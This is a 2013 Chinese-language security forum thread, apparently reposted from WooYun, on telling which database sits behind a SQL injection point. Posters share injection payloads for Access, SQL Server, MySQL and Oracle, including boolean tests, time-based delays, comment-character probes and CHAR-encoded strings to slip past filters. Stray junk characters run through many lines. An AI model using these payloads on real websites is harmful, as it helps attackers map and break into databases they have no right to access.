一个注射点如何最快速确认是什么类型数据库
9 j* M, U; W5 _4 K/ S n& `xsser (十根阳具有长短!!) | 2013-02-05 12:36" }5 i; ?" k# O* K, ]! v1 S
假设这么一个注射点:
4 ? o6 [- u: v: _6 T$ z/ Xshow.html?id=2
& v; I8 C9 Q& v5 a5 d- tmysql:id=2 and version()>0
5 P0 J1 o6 c5 Qoracle:id=2 and '1'||'1'='11
& ?0 y7 u+ y+ O# O! h/ j其他的欢迎补充
8 x, ^( p# |6 ?, G6 d! r4 Z7 G1#
( _( R$ P2 y& O- E( Yupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47: c5 B" ?$ Q+ [8 g& m2 l
Access:/ D& D0 k' V8 J7 {
aNd aSc(cHr(97))=97
+ u# V$ r/ J+ a# ^and exists(select id from MSysAccessObjects)% a4 J7 n$ w- V2 e- O P/ D6 G& `
SQL Server:7 `7 q( R5 K! O5 y, k2 F
and exists(select id from sysobjects)* w: a" }/ e$ R7 s6 a' W# R( ~
and length(user)>04 M1 s6 X* A5 _& S$ P- o
MySQL:, G- @& b9 f; O3 b: _; {
and length(user())>0' y' \. N$ j0 T- u; }& p
2#/ C) C# X, J- J0 g
xsser (十根阳具有长短!!) | 2013-02-05 12:480 x" ^! |/ Y! U6 o) h; R" `
@upload 如果这些都不是呢…
& t8 F" }7 E/ J- s N5 a3#
. D* u3 }0 S1 M7 a7 Xupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03 t! q4 u$ w/ K
@xsser 不快速的,延时注入# A3 i6 m. E' O; Z4 _ i
不知道这样写对不对
+ m7 B& T9 D5 N' H% I/ Vmssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'" C& W* i: l) Y" o( T7 f5 b
mysql:id=2 and select benchmark(1e8,current_date());1 ?7 a" J1 q0 N" l
4#
- X$ h( I1 ^) tupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10: d6 @/ Y# |( T/ g4 T
最快的貌似是看报错信息+ ^8 ~2 ]9 g" v6 x4 B8 C
oracle error L N/ r# Q8 [3 G4 x8 P0 {: c
mssql error; x Q+ E0 |( e8 h, e3 a N
mysql error; j; F* F+ f' n) F
5#
x/ G% O ^4 p4 ]6 @- TNimda (你们都是坏银~) | 2013-02-05 13:14
, o5 G% {- h! @8 Y6 z+ A; A小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)( l5 N9 q" H# y2 N' t4 u& U
6#
- I' w) j0 t" Q, oupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
5 g; \- ?: x+ p- V2 A% c“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:5 _$ o# S- B5 f, Y. w7 X
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
: d; g: Q; V# Q! i0 b# e“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
* ]7 |; I- P$ D7 `7#2 R) s' J( u- E
_Evil (HackEnd) | 2013-02-05 13:33
/ f. d( c4 l! K/ CPostgreSQL
3 m' q; J# z- o; I$ {, M" _) i# L8#
5 |! w1 S1 R. h. [# pupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
7 H$ I5 H* s- N! H% R切换编码 and 1=1
# g7 ^: x! ]' {, v9 D5 X/ N8 J# T5 soracle:
' q) _- e, C. l# M& \2 ECHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)6 R( E# S* |% @. _7 u
mssql:
/ B$ o. ?4 D8 `9 K. PCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)9 u9 ~/ Z" s* H& y" c" [+ R/ G1 k
mysql:
/ b/ }+ m, A# E; @* J8 DCHAR(97, 110, 100, 32, 49, 61, 49), x* }! v& k' w
9#
' b/ H) C6 a) r7 I5 Oxsser (十根阳具有长短!!) | 2013-02-05 14:31
: {- z6 B* l: ?; i0 m/ |@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?" J& z# ~7 T% e x* b0 f( F
10# ?5 d {* @" o& D7 I
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:468 \" e) |/ g* j
@xsser 是奇葩数据库类型的么?
$ l+ C0 a8 s8 D# B" ]$ [# R根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
! n6 z$ Z6 A% I0 x2 j$ j6 H3 M2 s+ J1.是否可以使用特定的函数来判断,该数据库特有的3 {9 M* g) K0 V9 _
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
0 q' f4 H, v. `; O0 p( n, W" _3.是否可以编码查询
; N( n9 w# v" z0 z# J c4.是否显可以利用错信息
0 N! \8 L& O( J# C; N+ P# Q- h, j5.是否存在数据库某些特性辅助判断
" h7 Z! h2 m1 n1 ]# b& k* o$ ]个人见解: c% f+ I f' N) d, z2 R
11## j7 w/ m3 v) }6 w8 c; F
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
3 W; f" a% m, g+ R! `; ~已收藏,mssql可以直接看到错误提示的吧~7 V& D) C: \$ `% U/ [) u1 n
12#
: K5 {3 O+ U" W- SPasser_by | 2013-02-05 15:09* [$ d7 g2 S$ E- t& O7 {
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。3 \" c' h* V2 M* Y% E
from:http://zone.wooyun.org/content/260 |